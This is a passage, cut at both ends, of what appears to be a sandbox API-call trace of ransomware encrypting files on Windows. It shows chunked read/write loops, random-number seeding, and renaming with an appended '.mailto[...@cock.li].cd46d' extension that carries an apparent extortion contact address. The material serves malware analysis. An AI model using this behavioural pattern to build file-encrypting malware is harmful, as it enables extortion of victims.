liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2548 [0178.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e93b8 [0178.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945848 [0178.693] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945848) returned 1 [0178.694] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12e2a008 [0178.698] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945848 [0178.698] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945ac8 [0178.698] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945ac8) returned 1 [0178.698] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e93b8) returned 1 [0178.698] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2548) returned 1 [0178.698] WriteFile (in: hFile=0x67c, lpBuffer=0x12e2a008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fffab8, lpOverlapped=0x0 | out: lpBuffer=0x12e2a008*, lpNumberOfBytesWritten=0x2fffab8*=0xc800, lpOverlapped=0x0) returned 1 [0179.121] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e2a008) returned 1 [0179.133] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.133] ReadFile (in: hFile=0x67c, lpBuffer=0xd49a048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fffab8, lpOverlapped=0x0 | out: lpBuffer=0xd49a048*, lpNumberOfBytesRead=0x2fffab8*=0xc800, lpOverlapped=0x0) returned 1 [0179.135] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2500 [0179.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8800 [0179.135] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945c80 [0179.135] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945c80) returned 1 [0179.137] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x13380890 [0179.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945c80 [0179.139] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945a50 [0179.139] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a50) returned 1 [0179.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8800) returned 1 [0179.140] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2500) returned 1 [0179.140] WriteFile (in: hFile=0x67c, lpBuffer=0x13380890*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fffab8, lpOverlapped=0x0 | out: lpBuffer=0x13380890*, lpNumberOfBytesWritten=0x2fffab8*=0xc800, lpOverlapped=0x0) returned 1 [0179.191] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x13380890) returned 1 [0179.193] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x7f8bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.193] ReadFile (in: hFile=0x67c, lpBuffer=0xd49a048, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2fffab8, lpOverlapped=0x0 | out: lpBuffer=0xd49a048*, lpNumberOfBytesRead=0x2fffab8*=0xc800, lpOverlapped=0x0) returned 1 [0179.194] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x7f8bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.194] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2a58 [0179.194] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8710 [0179.194] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909618 [0179.194] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909618) returned 1 [0179.195] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12e2a008 [0179.198] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x909618 [0179.198] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9095f0 [0179.198] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9095f0) returned 1 [0179.198] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8710) returned 1 [0179.198] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2a58) returned 1 [0179.198] WriteFile (in: hFile=0x67c, lpBuffer=0x12e2a008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2fffab8, lpOverlapped=0x0 | out: lpBuffer=0x12e2a008*, lpNumberOfBytesWritten=0x2fffab8*=0xc800, lpOverlapped=0x0) returned 1 [0180.157] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12e2a008) returned 1 [0180.157] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90ea78 [0180.157] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.157] WriteFile (in: hFile=0x67c, lpBuffer=0x8f6488*, nNumberOfBytesToWrite=0x145, lpNumberOfBytesWritten=0x2fffb60, lpOverlapped=0x0 | out: lpBuffer=0x8f6488*, lpNumberOfBytesWritten=0x2fffb60*=0x145, lpOverlapped=0x0) returned 1 [0180.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6488) returned 1 [0180.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0180.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945848) returned 1 [0180.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0180.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90ea78) returned 1 [0180.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a78) returned 1 [0180.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x909280) returned 1 [0180.159] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9092a8) returned 1 [0180.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x16c) returned 0x929730 [0180.159] wcscpy (in: _Dest=0x929730, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js" [0180.159] wcscat (in: _Dest=0x929730, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.mailto[2Hamlampampom@cock.li].cd46d" [0180.159] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x2fffb18, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\angular.js.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0180.159] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x182) returned 0x8f3a00 Thread: id = 6817 os_tid = 0xd7c [0174.469] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js")) returned 0x2020 [0176.755] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js", dwFileAttributes=0x20) returned 1 [0176.755] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xcec [0176.755] GetFileSizeEx (in: hFile=0xcec, lpFileSize=0x639f8e8 | out: lpFileSize=0x639f8e8*=43164) returned 1 [0176.755] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0xa898, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.755] ReadFile (in: hFile=0xcec, lpBuffer=0x639f86c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x639f868, lpOverlapped=0x0 | out: lpBuffer=0x639f86c*, lpNumberOfBytesRead=0x639f868*=0x4, lpOverlapped=0x0) returned 1 [0176.757] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.757] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93e0b8 [0176.757] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93de38 [0176.757] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x93dd48 [0176.757] NtQuerySystemTime (in: CurrentTime=0x639f848 | out: CurrentTime=0x639f848*=132174899513494000) returned 0x0 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x60c1dd0d [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x2c32d623 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x793707aa [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0xebd015b [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x7d8276f2 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x4c61517f [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x43f06526 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x7009f4ce [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x2318eb23 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x32279c01 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x125909a9 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x739986c9 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x55312a3c [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x7052fc74 [0176.757] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x1cf3aadf [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x7052f804 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x4ba1d8c2 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x73e3ec6e [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x743f1e04 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x212844cb [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x286253c0 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x4dafb7b5 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x4cbf2915 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x52b88f11 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x32713178 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x7dd2a5a1 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x1d1fc3fb [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x7bd7610 [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x1d78716e [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x219b0f5e [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x1a2a3f8c [0176.758] RtlRandomEx (in: Seed=0x639f854 | out: Seed=0x639f854) returned 0x422e1f68 [0176.770] ReadFile (hFile=0xcec, lpBuffer=0x12ce8418, nNumberOfBytesToRead=0xa89c, lpNumberOfBytesRead=0x639f844, lpOverlapped=0x0) [0176.772] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.772] WriteFile (in: hFile=0xcec, lpBuffer=0x12da1118*, nNumberOfBytesToWrite=0xa89c, lpNumberOfBytesWritten=0x639f840, lpOverlapped=0x0 | out: lpBuffer=0x12da1118*, lpNumberOfBytesWritten=0x639f840*=0xa89c, lpOverlapped=0x0) returned 1 [0177.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cb0 [0177.576] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9cd8 [0177.576] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cd8) returned 1 [0177.576] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12da1118) returned 1 [0177.576] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12ce8418) returned 1 [0177.581] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8cb0) returned 1 [0177.581] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2788) returned 1 [0177.581] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x35) returned 0x93b678 [0177.581] SetFilePointerEx (in: hFile=0xcec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.581] WriteFile (in: hFile=0xcec, lpBuffer=0x9ab520*, nNumberOfBytesToWrite=0x119, lpNumberOfBytesWritten=0x639f8a8, lpOverlapped=0x0 | out: lpBuffer=0x9ab520*, lpNumberOfBytesWritten=0x639f8a8*=0x119, lpOverlapped=0x0) returned 1 [0178.858] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab520) returned 1 [0178.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b938) returned 1 [0178.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cd8) returned 1 [0178.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93b678) returned 1 [0178.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9cb0) returned 1 [0178.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93de38) returned 1 [0178.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e388) returned 1 [0178.859] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93e040) returned 1 [0178.859] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x928930 [0178.859] wcscpy (in: _Dest=0x928930, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js" [0178.859] wcscat (in: _Dest=0x928930, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.mailto[2Hamlampampom@cock.li].cd46d" [0178.859] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x639f860, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\background_script.js.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0178.859] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x928ab8 Thread: id = 6859 os_tid = 0x164c [0174.497] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css")) returned 0x20 [0176.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css", dwFileAttributes=0x20) returned 0 [0176.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formshomepagestyle.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.187] GetLastError () returned 0x5 [0176.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsHomePageStyle.css", dwFileAttributes=0x20) returned 0 [0176.187] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d45c0) returned 1 Thread: id = 6861 os_tid = 0x1658 [0174.498] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html")) returned 0x20 [0176.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html", dwFileAttributes=0x20) returned 0 [0176.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsprinttemplate.html"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.180] GetLastError () returned 0x5 [0176.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsPrintTemplate.html", dwFileAttributes=0x20) returned 0 [0176.180] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d4400) returned 1 Thread: id = 6864 os_tid = 0x1668 [0174.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg")) returned 0x20 [0176.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg", dwFileAttributes=0x20) returned 0 [0176.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formsviewattachmenticons.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.169] GetLastError () returned 0x5 [0176.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsViewAttachmentIcons.jpg", dwFileAttributes=0x20) returned 0 [0176.169] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93ff98) returned 1 Thread: id = 6868 os_tid = 0x1678 [0174.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml")) returned 0x20 [0176.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml", dwFileAttributes=0x20) returned 0 [0176.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\grooveformsmetadata.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0176.176] GetLastError () returned 0x5 [0176.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\GrooveFormsMetaData.xml", dwFileAttributes=0x20) returned 0 [0176.176] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4d59e0) returned 1 Thread: id = 6879 os_tid = 0x1778 [0174.654] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf")) returned 0x20 [0174.655] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0174.655] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\dynamic.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.655] GetLastError () returned 0x5 [0174.655] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Dynamic.pdf", dwFileAttributes=0x20) returned 0 [0174.655] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6980) returned 1 Thread: id = 6880 os_tid = 0x1294 [0174.656] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf")) returned 0x20 [0174.657] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf", dwFileAttributes=0x20) returned 0 [0174.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\hanko.pdf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0174.657] GetLastError () returned 0x5 [0174.657] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\Hanko.pdf", dwFileAttributes=0x20) returned 0 [0174.657] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6d40) returned 1 Thread: id = 6909 os_tid = 0x1a64 [0174.946] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 